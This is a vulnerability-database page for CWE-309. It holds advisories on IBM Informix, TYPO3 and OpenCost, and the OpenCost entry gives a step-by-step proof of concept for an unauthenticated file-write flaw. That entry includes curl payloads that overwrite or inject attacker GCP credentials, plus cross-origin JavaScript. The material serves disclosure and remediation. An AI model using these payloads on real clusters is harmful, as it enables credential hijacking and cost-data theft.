CWE-309
AllowedUse of Password System for Primary Authentication
Abstraction: Base · Status: Draft
The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.
4 vulnerabilities reference this CWE, most recent first.
CVE-2024-45675 (GCVE-0-2024-45675)
Vulnerability from cvelistv5 – Published: 2025-12-02 02:00 – Updated: 2026-02-26 16:57- CWE-309 - Use of Password System for Primary Authentication
| URL | Tags |
|---|---|
| https://www.ibm.com/support/pages/node/7252704 | vendor-advisorypatch |
| Vendor | Product | Version | |
|---|---|---|---|
| IBM | Informix Dynamic Server |
Affected:
14.10
cpe:2.3:a:ibm:informix_dynamic_server:14.10:*:*:*:*:*:*:* |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-45675",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-12-03T04:55:39.716301Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T16:57:48.171Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"cpes": [
"cpe:2.3:a:ibm:informix_dynamic_server:14.10:*:*:*:*:*:*:*"
],
"product": "Informix Dynamic Server",
"vendor": "IBM",
"versions": [
{
"status": "affected",
"version": "14.10"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eIBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password.\u003c/p\u003e"
}
],
"value": "IBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-309",
"description": "CWE-309 Use of Password System for Primary Authentication",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-12-02T02:00:26.554Z",
"orgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"shortName": "ibm"
},
"references": [
{
"tags": [
"vendor-advisory",
"patch"
],
"url": "https://www.ibm.com/support/pages/node/7252704"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eRemediation/Fixes Impact is limited to Informix Server on Windows. No exploitation has been observed or is possible on non\u2011Windows platforms. Update to IBM Informix Dynamic Server 14.10.xC11W1. Fix is available on IBM Fix Central - Select Fixes - Informix Server . Follow the instructions for Database server upgrades in the Informix Servers documentation Follow the instructions to install or upgrade Informix in the What\u0027s new and changed in Informix in the IBM Cloud Pak for Data documentation.\u003c/p\u003e"
}
],
"value": "Remediation/Fixes Impact is limited to Informix Server on Windows. No exploitation has been observed or is possible on non\u2011Windows platforms. Update to IBM Informix Dynamic Server 14.10.xC11W1. Fix is available on IBM Fix Central - Select Fixes - Informix Server . Follow the instructions for Database server upgrades in the Informix Servers documentation Follow the instructions to install or upgrade Informix in the What\u0027s new and changed in Informix in the IBM Cloud Pak for Data documentation."
}
],
"title": "IBM Informix Dynamic Server Authentication Bypass",
"x_generator": {
"engine": "ibm-cvegen"
}
}
},
"cveMetadata": {
"assignerOrgId": "9a959283-ebb5-44b6-b705-dcc2bbced522",
"assignerShortName": "ibm",
"cveId": "CVE-2024-45675",
"datePublished": "2025-12-02T02:00:26.554Z",
"dateReserved": "2024-09-03T13:50:43.964Z",
"dateUpdated": "2026-02-26T16:57:48.171Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-4P8F-FWRJ-RJHQ
Vulnerability from github – Published: 2025-12-02 03:31 – Updated: 2025-12-02 03:31IBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password.
{
"affected": [],
"aliases": [
"CVE-2024-45675"
],
"database_specific": {
"cwe_ids": [
"CWE-309"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-02T03:16:14Z",
"severity": "HIGH"
},
"details": "IBM Informix Dynamic Server 14.10 could allow a local user on the system to log into the Informix server as administrator without a password.",
"id": "GHSA-4p8f-fwrj-rjhq",
"modified": "2025-12-02T03:31:44Z",
"published": "2025-12-02T03:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45675"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7252704"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-657M-V5VM-F6RW
Vulnerability from github – Published: 2021-10-05 20:23 – Updated: 2024-02-05 11:18Meta
- CVSS:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C(8.2)
Problem
It has been discovered that the new TYPO3 v11 feature that allows users to create and share deep links in the backend user interface is vulnerable to cross-site-request-forgery.
The impact is the same as described in TYPO3-CORE-SA-2020-006 (CVE-2020-11069). However, it is not limited to the same site context and does not require the attacker to be authenticated. In a worst case scenario, the attacker could create a new admin user account to compromise the system.
To successfully carry out an attack, an attacker must trick his victim to access a compromised system. The victim must have an active session in the TYPO3 backend at that time.
The following Same-Site cookie settings in $GLOBALS[TYPO3_CONF_VARS][BE][cookieSameSite] are required for an attack to be successful:
- SameSite=strict: malicious evil.example.org invoking TYPO3 application at good.example.org
- SameSite=lax or none: malicious evil.com invoking TYPO3 application at example.org
Solution
Update your instance to TYPO3 version 11.5.0 which addresses the problem described.
Credits
Thanks to Richie Lee who reported this issue and to TYPO3 core & security team members Benni Mack and Oliver Hader who fixed the issue.
References
- TYPO3-CORE-SA-2021-014
- CVE-2020-11069 reintroduced in TYPO3 v11.2.0
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.2.0"
},
{
"fixed": "11.5.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms"
},
"ranges": [
{
"events": [
{
"introduced": "11.2.0"
},
{
"fixed": "11.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41113"
],
"database_specific": {
"cwe_ids": [
"CWE-309",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-05T18:48:07Z",
"nvd_published_at": "2021-10-05T18:15:00Z",
"severity": "HIGH"
},
"details": "\u003e ### Meta\n\u003e * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (8.2)\n\n### Problem\nIt has been discovered that the new TYPO3 v11 feature that allows users to create and share [deep links in the backend user interface](https://typo3.org/article/typo3-version-112-escape-the-orbit#c12178) is vulnerable to cross-site-request-forgery.\n\nThe impact is the same as described in [TYPO3-CORE-SA-2020-006 (CVE-2020-11069)](https://typo3.org/security/advisory/typo3-core-sa-2020-006). However, it is not limited to the same site context and does not require the attacker to be authenticated. In a worst case scenario, the attacker could create a new admin user account to compromise the system.\n\nTo successfully carry out an attack, an attacker must trick his victim to access a compromised system. The victim must have an active session in the TYPO3 backend at that time.\n\nThe following [Same-Site cookie settings](https://docs.typo3.org/c/typo3/cms-core/master/en-us/Changelog/8.7.x/Feature-90351-ConfigureTYPO3-shippedCookiesWithSameSiteFlag.html) in _$GLOBALS[TYPO3_CONF_VARS][BE][cookieSameSite]_ are required for an attack to be successful:\n\n* _SameSite=_***strict***: malicious evil.**example.org** invoking TYPO3 application at good.**example.org**\n* _SameSite=_***lax*** or ***none***: malicious **evil.com** invoking TYPO3 application at **example.org**\n\n### Solution\nUpdate your instance to TYPO3 version 11.5.0 which addresses the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 core \u0026 security team members Benni Mack and Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-014](https://typo3.org/security/advisory/typo3-core-sa-2021-014)\n* [CVE-2020-11069](https://nvd.nist.gov/vuln/detail/CVE-2020-11069) reintroduced in TYPO3 v11.2.0",
"id": "GHSA-657m-v5vm-f6rw",
"modified": "2024-02-05T11:18:00Z",
"published": "2021-10-05T20:23:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-657m-v5vm-f6rw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11069"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41113"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/commit/fa51999203c5e5d913ecae5ea843ccb2b95fa33f"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2021-41113.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2021-41113.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3/typo3"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2020-006"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2021-014"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cross-Site-Request-Forgery in Backend"
}
GHSA-WMJ8-9953-VFF5
Vulnerability from github – Published: 2026-07-14 17:07 – Updated: 2026-07-14 17:19Summary
OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.
Affected Versions
- OpenCost: All versions up to and including the latest release
- Vulnerable File:
pkg/costmodel/router.go(lines 365-379) - Vulnerable Endpoint:
POST /serviceKey
Vulnerability Details
Root Cause
The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
w.Header().Set("Content-Type", "application/json")
w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
r.ParseForm()
key := r.PostForm.Get("key") // User-controlled input, no validation
k := []byte(key)
err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
if err != nil {
fmt.Fprintf(w, "Error writing service key: %s", err)
}
w.WriteHeader(http.StatusOK)
}
File Path Determination (core/pkg/env/core.go):
func GetGCPAuthSecretFilePath() string {
return GetPathFromConfig("key.json")
}
func GetPathFromConfig(fileName string) string {
return filepath.Join(GetConfigPath(), fileName)
}
func GetConfigPath() string {
return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
}
Security Issues
- No Authentication: Any network-accessible client can invoke the endpoint
- No Input Validation: User input is not validated as a valid GCP service account key
- Overly Permissive CORS:
Access-Control-Allow-Origin: *allows cross-origin attacks - Predictable File Path: File location controlled by
CONFIG_PATHenvironment variable
Proof of Concept
Environment Setup
Prerequisites
- Kubernetes cluster (tested on kind v1.30.0)
- Helm 3.x
- kubectl configured
Step 1: Create Namespace
kubectl create namespace opencost
Output:
namespace/opencost created
Step 2: Add OpenCost Helm Repository
helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update
Output:
"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!
Step 3: Deploy OpenCost
helm install opencost opencost/opencost --namespace opencost \
--set opencost.exporter.defaultClusterId=test-cluster \
--set opencost.prometheus.internal.enabled=true \
--set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
--set opencost.prometheus.internal.namespaceName=monitoring \
--set opencost.prometheus.internal.port=9090 \
--set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'
Key Configuration:
- CONFIG_PATH=/tmp: Sets writable directory for file operations
Output:
NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1
Step 4: Verify Deployment
kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost
Output:
NAME READY STATUS RESTARTS AGE
opencost-db97bbcc-5q8cb 2/2 Running 0 44s
Step 5: Verify Service Accessibility
kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
curl -v http://opencost.opencost.svc.cluster.local:9003/healthz
Output:
< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0
Exploitation
Step 6: Check Initial State
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
cat: can't open '/tmp/key.json': No such file or directory
Note: File does not exist initially
Step 7: Verify CONFIG_PATH Configuration
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH
Output:
CONFIG_PATH=/tmp
Note: CONFIG_PATH correctly set to /tmp
Step 8: Execute Exploit
MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${MALICIOUS_CONTENT}" \
-v
Request Details:
> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244
Response Details:
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0
Result: HTTP 200 OK - Request successful without authentication
Step 9: Verify File Write
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}
Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file
Impact Analysis
Direct Impact
| Impact Type | Severity | Description |
|---|---|---|
| Unauthorized Credential Overwrite | High | Attacker can overwrite GCP service account key file content |
| No Authentication Required | High | Vulnerability can be exploited without any credentials |
| CORS Misconfiguration | Medium | Allows cross-origin attacks via malicious websites |
| Fixed File Path | Low | Attacker cannot control write location, only content |
Attack Scenario Analysis
Scenario 1: GCP Credential Overwrite Leading to Service Disruption
Attack Steps:
1. Attacker sends POST request with invalid JSON or malformed GCP key
2. /serviceKey endpoint accepts request and overwrites existing key.json file
3. OpenCost attempts to access GCP API with corrupted credentials
4. GCP integration fails, cost data collection stops
Technical Details:
# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
-d 'key={"invalid":"json","corrupted":"credentials"}'
Impact: - Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data - Operational Impact: FinOps processes dependent on cost data are blocked - Availability Degradation: Manual intervention required to restore correct credentials
CVSS Impact Score: Availability impact is Low (A:L)
Scenario 2: Malicious Credential Injection for Data Hijacking
Attack Steps: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project
Technical Details:
# Inject attacker credentials
ATTACKER_KEY='{
"type": "service_account",
"project_id": "attacker-billing-project",
"private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
"client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'
curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"
Impact: - Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details - Business Intelligence Leakage: Can infer business scale, growth trends, technology stack - Compliance Risk: Cost data may contain protected business information
Data Leakage Examples: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction)
CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High
Scenario 3: Cross-Origin Attack (CORS Exploitation)
Attack Steps:
1. User visits attacker-controlled malicious website
2. Malicious JavaScript sends POST request to http://localhost:9003/serviceKey
3. Due to CORS set to *, browser allows cross-origin request
4. User's browser acts as proxy to execute credential overwrite attack
Prerequisites:
- User exposes OpenCost service via kubectl port-forward or other means
- User's browser can access OpenCost endpoint
Technical Details:
// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'key={"type":"malicious"}'
});
Impact: - User-Unaware Attack: No active user interaction required - Difficult to Trace: Attack originates from victim's IP address - Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network
Vulnerability Limitations
What Attacker Cannot Control:
- File Write Path: Fixed by CONFIG_PATH environment variable, attacker cannot modify
- File Name: Fixed as key.json, cannot write to other files
- File Permissions: Write permission is 0644, attacker cannot escalate
Actual Attack Capabilities:
- File Content Control: Complete control over key.json content
- Unauthenticated Exploitation: No credentials required to trigger
- Remote Accessibility: Can be exploited over network (if service exposed)
Real-World Impact Assessment
| Deployment Scenario | Risk Level | Description |
|---|---|---|
| Cluster-Internal Only | Medium | Requires attacker to have cluster network access |
| Exposed via Ingress | High | Any internet user can exploit |
| Exposed via NodePort | High | Attackers with node network access can exploit |
| Via port-forward | Medium-High | Local dev environments vulnerable to CORS attacks |
Recommended Risk Rating: - Default deployment (cluster-internal): Medium - Improperly exposed (public internet): High
Remediation
Immediate Actions (P0)
1. Add Authentication
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
// Add authentication check
if !a.isAuthorized(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// ... existing logic
}
2. Implement Input Validation
func validateServiceKey(key string) error {
var keyData map[string]interface{}
if err := json.Unmarshal([]byte(key), &keyData); err != nil {
return fmt.Errorf("invalid JSON format")
}
requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
for _, field := range requiredFields {
if _, ok := keyData[field]; !ok {
return fmt.Errorf("missing required field: %s", field)
}
}
if keyData["type"] != "service_account" {
return fmt.Errorf("invalid key type")
}
return nil
}
3. Restrict CORS
w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))
Long-term Solutions (P1)
- Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
- Implement RBAC: Role-based access control for sensitive operations
- Add Audit Logging: Log all file write operations
- Apply Least Privilege: Minimize ClusterRole permissions
Workarounds
Until a patch is available, implement these mitigations:
- Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
- Disable Endpoint: Remove or disable the
/serviceKeyendpoint if not required - Monitor File Changes: Alert on modifications to
key.jsonfile - Use Read-only Filesystem: Mount config directory as read-only where possible
References
- Vulnerable Code:
pkg/costmodel/router.go:365-379 - Environment Configuration:
core/pkg/env/core.go - OWASP: Broken Access Control
- CWE-306: Missing Authentication for Critical Function
- CWE-20: Improper Input Validation
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/opencost/opencost"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.119.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44300"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-309"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T17:07:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nOpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.\n\n---\n\n\n## Affected Versions\n\n- **OpenCost**: All versions up to and including the latest release\n- **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379)\n- **Vulnerable Endpoint**: `POST /serviceKey`\n\n---\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n w.Header().Set(\"Content-Type\", \"application/json\")\n w.Header().Set(\"Access-Control-Allow-Origin\", \"*\") // Overly permissive CORS\n\n r.ParseForm()\n\n key := r.PostForm.Get(\"key\") // User-controlled input, no validation\n k := []byte(key)\n err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write\n if err != nil {\n fmt.Fprintf(w, \"Error writing service key: %s\", err)\n }\n\n w.WriteHeader(http.StatusOK)\n}\n```\n\n**File Path Determination** (`core/pkg/env/core.go`):\n```go\nfunc GetGCPAuthSecretFilePath() string {\n return GetPathFromConfig(\"key.json\")\n}\n\nfunc GetPathFromConfig(fileName string) string {\n return filepath.Join(GetConfigPath(), fileName)\n}\n\nfunc GetConfigPath() string {\n return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs\n}\n```\n\n### Security Issues\n\n1. **No Authentication**: Any network-accessible client can invoke the endpoint\n2. **No Input Validation**: User input is not validated as a valid GCP service account key\n3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks\n4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable\n\n---\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (tested on kind v1.30.0)\n- Helm 3.x\n- kubectl configured\n\n#### Step 1: Create Namespace\n\n```bash\nkubectl create namespace opencost\n```\n\n**Output**:\n```\nnamespace/opencost created\n```\n\n#### Step 2: Add OpenCost Helm Repository\n\n```bash\nhelm repo add opencost https://opencost.github.io/opencost-helm-chart\nhelm repo update\n```\n\n**Output**:\n```\n\"opencost\" has been added to your repositories\nHang tight while we grab the latest from your chart repositories...\n...Successfully got an update from the \"opencost\" chart repository\nUpdate Complete. Happy Helming!\n```\n\n#### Step 3: Deploy OpenCost\n\n```bash\nhelm install opencost opencost/opencost --namespace opencost \\\n --set opencost.exporter.defaultClusterId=test-cluster \\\n --set opencost.prometheus.internal.enabled=true \\\n --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \\\n --set opencost.prometheus.internal.namespaceName=monitoring \\\n --set opencost.prometheus.internal.port=9090 \\\n --set-string \u0027opencost.exporter.extraEnv.CONFIG_PATH=/tmp\u0027\n```\n\n**Key Configuration**:\n- `CONFIG_PATH=/tmp`: Sets writable directory for file operations\n\n**Output**:\n```\nNAME: opencost\nLAST DEPLOYED: Sun Jan 18 00:39:21 2026\nNAMESPACE: opencost\nSTATUS: deployed\nREVISION: 1\n```\n\n#### Step 4: Verify Deployment\n\n```bash\nkubectl get pods -l app.kubernetes.io/instance=opencost -n opencost\n```\n\n**Output**:\n```\nNAME READY STATUS RESTARTS AGE\nopencost-db97bbcc-5q8cb 2/2 Running 0 44s\n```\n\n#### Step 5: Verify Service Accessibility\n\n```bash\nkubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \\\n curl -v http://opencost.opencost.svc.cluster.local:9003/healthz\n```\n\n**Output**:\n```\n\u003c HTTP/1.1 200 OK\n\u003c Vary: Origin\n\u003c Date: Sat, 17 Jan 2026 16:32:07 GMT\n\u003c Content-Length: 0\n```\n\n### Exploitation\n\n#### Step 6: Check Initial State\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```\ncat: can\u0027t open \u0027/tmp/key.json\u0027: No such file or directory\n```\n\nNote: File does not exist initially\n\n#### Step 7: Verify CONFIG_PATH Configuration\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH\n```\n\n**Output**:\n```\nCONFIG_PATH=/tmp\n```\n\nNote: CONFIG_PATH correctly set to /tmp\n\n#### Step 8: Execute Exploit\n\n```bash\nMALICIOUS_CONTENT=\u0027{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}\u0027\n\nkubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \\\n curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -d \"key=${MALICIOUS_CONTENT}\" \\\n -v\n```\n\n**Request Details**:\n```\n\u003e POST /serviceKey HTTP/1.1\n\u003e Host: opencost.opencost.svc.cluster.local:9003\n\u003e User-Agent: curl/8.18.0\n\u003e Accept: */*\n\u003e Content-Type: application/x-www-form-urlencoded\n\u003e Content-Length: 244\n```\n\n**Response Details**:\n```\n\u003c HTTP/1.1 200 OK\n\u003c Access-Control-Allow-Origin: *\n\u003c Content-Type: application/json\n\u003c Vary: Origin\n\u003c Date: Sat, 17 Jan 2026 16:42:29 GMT\n\u003c Content-Length: 0\n```\n\nResult: HTTP 200 OK - Request successful without authentication\n\n#### Step 9: Verify File Write\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```json\n{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}\n```\n\nResult: VULNERABILITY CONFIRMED - Malicious content successfully written to file\n\n---\n\n## Impact Analysis\n\n### Direct Impact\n\n| Impact Type | Severity | Description |\n|------------|----------|-------------|\n| **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content |\n| **No Authentication Required** | High | Vulnerability can be exploited without any credentials |\n| **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites |\n| **Fixed File Path** | Low | Attacker cannot control write location, only content |\n\n### Attack Scenario Analysis\n\n#### Scenario 1: GCP Credential Overwrite Leading to Service Disruption\n\n**Attack Steps**:\n1. Attacker sends POST request with invalid JSON or malformed GCP key\n2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file\n3. OpenCost attempts to access GCP API with corrupted credentials\n4. GCP integration fails, cost data collection stops\n\n**Technical Details**:\n```bash\n# Attack payload example\ncurl -X POST http://opencost:9003/serviceKey \\\n -d \u0027key={\"invalid\":\"json\",\"corrupted\":\"credentials\"}\u0027\n```\n\n**Impact**:\n- **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data\n- **Operational Impact**: FinOps processes dependent on cost data are blocked\n- **Availability Degradation**: Manual intervention required to restore correct credentials\n\n**CVSS Impact Score**: Availability impact is Low (A:L)\n\n---\n\n#### Scenario 2: Malicious Credential Injection for Data Hijacking\n\n**Attack Steps**:\n1. Attacker creates their own GCP project and service account\n2. Injects attacker-controlled valid GCP credentials into OpenCost\n3. OpenCost uses attacker\u0027s credentials to send requests to GCP Billing API\n4. Target organization\u0027s cost data is sent to attacker\u0027s GCP project\n\n**Technical Details**:\n```bash\n# Inject attacker credentials\nATTACKER_KEY=\u0027{\n \"type\": \"service_account\",\n \"project_id\": \"attacker-billing-project\",\n \"private_key\": \"-----BEGIN PRIVATE KEY-----\\n...\\n-----END PRIVATE KEY-----\\n\",\n \"client_email\": \"opencost-hijack@attacker-project.iam.gserviceaccount.com\"\n}\u0027\n\ncurl -X POST http://opencost:9003/serviceKey -d \"key=${ATTACKER_KEY}\"\n```\n\n**Impact**:\n- **Sensitive Data Leakage**: Organization\u0027s cloud resource usage patterns and cost details\n- **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack\n- **Compliance Risk**: Cost data may contain protected business information\n\n**Data Leakage Examples**:\n- Kubernetes cluster size and node configuration\n- Resource consumption per namespace (can map to business units)\n- Cloud service usage patterns (databases, storage, compute instance types)\n- Cost trends (can infer business growth or contraction)\n\n**CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High\n\n---\n\n#### Scenario 3: Cross-Origin Attack (CORS Exploitation)\n\n**Attack Steps**:\n1. User visits attacker-controlled malicious website\n2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey`\n3. Due to CORS set to `*`, browser allows cross-origin request\n4. User\u0027s browser acts as proxy to execute credential overwrite attack\n\n**Prerequisites**:\n- User exposes OpenCost service via `kubectl port-forward` or other means\n- User\u0027s browser can access OpenCost endpoint\n\n**Technical Details**:\n```javascript\n// JavaScript on malicious website\nfetch(\u0027http://localhost:9003/serviceKey\u0027, 